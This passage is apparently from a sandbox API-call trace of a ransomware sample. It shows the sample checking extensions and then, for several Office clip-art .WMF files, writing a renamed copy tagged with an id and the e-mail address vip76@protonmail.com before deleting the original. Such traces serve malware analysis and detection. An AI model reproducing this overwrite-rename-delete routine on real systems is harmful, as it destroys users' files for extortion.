	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString=".dbf") returned 4
	[0177.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString=".1cd") returned 4
	[0177.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0177.119] lstrlenW (lpString=".jpg") returned 4
	[0177.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.120] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.120] lstrlenW (lpString="HH01242_.WMF") returned 12
	[0177.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.121] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7340) returned 1
	[0177.122] CloseHandle (hObject=0x4a8) returned 1
	[0177.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220
	[0177.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.122] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.123] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.124] GetLastError () returned 0x0
	[0177.124] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1cac, lpOverlapped=0x0) returned 1
	[0177.127] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1cb0, lpOverlapped=0x0) returned 1
	[0177.128] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.128] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.128] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.128] CloseHandle (hObject=0x5b8) returned 1
	[0177.128] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.128] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.132] CloseHandle (hObject=0x4a8) returned 1
	[0177.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.133] lstrlenW (lpString=".doc") returned 4
	[0177.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.133] lstrlenW (lpString=".docx") returned 5
	[0177.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.133] lstrlenW (lpString=".pdf") returned 4
	[0177.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.133] lstrlenW (lpString=".xls") returned 4
	[0177.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.133] lstrlenW (lpString=".xlsx") returned 5
	[0177.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.134] lstrlenW (lpString=".ppt") returned 4
	[0177.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString=".zip") returned 4
	[0177.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.134] lstrlenW (lpString=".rar") returned 4
	[0177.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString=".bz2") returned 4
	[0177.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString=".7z") returned 3
	[0177.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString=".dbf") returned 4
	[0177.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString=".1cd") returned 4
	[0177.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString=".jpg") returned 4
	[0177.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.134] lstrlenW (lpString=".doc") returned 4
	[0177.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString=".docx") returned 5
	[0177.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.134] lstrlenW (lpString=".pdf") returned 4
	[0177.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.134] lstrlenW (lpString=".xls") returned 4
	[0177.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.134] lstrlenW (lpString=".xlsx") returned 5
	[0177.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.135] lstrlenW (lpString=".ppt") returned 4
	[0177.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.135] lstrlenW (lpString=".zip") returned 4
	[0177.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.135] lstrlenW (lpString=".rar") returned 4
	[0177.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.135] lstrlenW (lpString=".bz2") returned 4
	[0177.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.135] lstrlenW (lpString=".7z") returned 3
	[0177.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.135] lstrlenW (lpString=".dbf") returned 4
	[0177.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.135] lstrlenW (lpString=".1cd") returned 4
	[0177.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0177.135] lstrlenW (lpString=".jpg") returned 4
	[0177.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.135] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.135] lstrlenW (lpString="HH01291_.WMF") returned 12
	[0177.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.136] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=15806) returned 1
	[0177.136] CloseHandle (hObject=0x4a8) returned 1
	[0177.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220
	[0177.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.137] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.137] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.137] GetLastError () returned 0x0
	[0177.137] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3dbe, lpOverlapped=0x0) returned 1
	[0177.175] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3dc0, lpOverlapped=0x0) returned 1
	[0177.176] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.176] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.177] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.177] CloseHandle (hObject=0x5b8) returned 1
	[0177.177] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.177] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.181] CloseHandle (hObject=0x4a8) returned 1
	[0177.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0177.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.187] lstrlenW (lpString=".doc") returned 4
	[0177.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.187] lstrlenW (lpString=".docx") returned 5
	[0177.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.187] lstrlenW (lpString=".pdf") returned 4
	[0177.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.187] lstrlenW (lpString=".xls") returned 4
	[0177.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.187] lstrlenW (lpString=".xlsx") returned 5
	[0177.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.187] lstrlenW (lpString=".ppt") returned 4
	[0177.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.187] lstrlenW (lpString=".zip") returned 4
	[0177.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.187] lstrlenW (lpString=".rar") returned 4
	[0177.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.187] lstrlenW (lpString=".bz2") returned 4
	[0177.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.187] lstrlenW (lpString=".7z") returned 3
	[0177.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString=".dbf") returned 4
	[0177.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString=".1cd") returned 4
	[0177.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString=".jpg") returned 4
	[0177.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString=".doc") returned 4
	[0177.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString=".docx") returned 5
	[0177.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.188] lstrlenW (lpString=".pdf") returned 4
	[0177.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString=".xls") returned 4
	[0177.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.188] lstrlenW (lpString=".xlsx") returned 5
	[0177.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.188] lstrlenW (lpString=".ppt") returned 4
	[0177.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.188] lstrlenW (lpString=".zip") returned 4
	[0177.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.188] lstrlenW (lpString=".rar") returned 4
	[0177.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString=".bz2") returned 4
	[0177.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.188] lstrlenW (lpString=".7z") returned 3
	[0177.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.189] lstrlenW (lpString=".dbf") returned 4
	[0177.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.189] lstrlenW (lpString=".1cd") returned 4
	[0177.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0177.189] lstrlenW (lpString=".jpg") returned 4
	[0177.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.189] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.189] lstrlenW (lpString="HH01329_.WMF") returned 12
	[0177.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.190] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6016) returned 1
	[0177.190] CloseHandle (hObject=0x4a8) returned 1
	[0177.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220
	[0177.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.190] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.191] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.191] GetLastError () returned 0x0
	[0177.191] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1780, lpOverlapped=0x0) returned 1
	[0177.194] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0177.195] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.195] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.195] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.195] CloseHandle (hObject=0x5b8) returned 1
	[0177.195] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.195] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.198] CloseHandle (hObject=0x4a8) returned 1
	[0177.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1
	[0177.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.199] lstrlenW (lpString=".doc") returned 4
	[0177.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.199] lstrlenW (lpString=".docx") returned 5
	[0177.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.199] lstrlenW (lpString=".pdf") returned 4
	[0177.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.199] lstrlenW (lpString=".xls") returned 4
	[0177.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.199] lstrlenW (lpString=".xlsx") returned 5
	[0177.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.199] lstrlenW (lpString=".ppt") returned 4
	[0177.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.199] lstrlenW (lpString=".zip") returned 4
	[0177.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.200] lstrlenW (lpString=".rar") returned 4
	[0177.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString=".bz2") returned 4
	[0177.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString=".7z") returned 3
	[0177.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString=".dbf") returned 4
	[0177.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString=".1cd") returned 4
	[0177.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString=".jpg") returned 4
	[0177.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString=".doc") returned 4
	[0177.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString=".docx") returned 5
	[0177.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.200] lstrlenW (lpString=".pdf") returned 4
	[0177.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString=".xls") returned 4
	[0177.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.200] lstrlenW (lpString=".xlsx") returned 5
	[0177.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.200] lstrlenW (lpString=".ppt") returned 4
	[0177.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.200] lstrlenW (lpString=".zip") returned 4
	[0177.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.201] lstrlenW (lpString=".rar") returned 4
	[0177.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.201] lstrlenW (lpString=".bz2") returned 4
	[0177.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.201] lstrlenW (lpString=".7z") returned 3
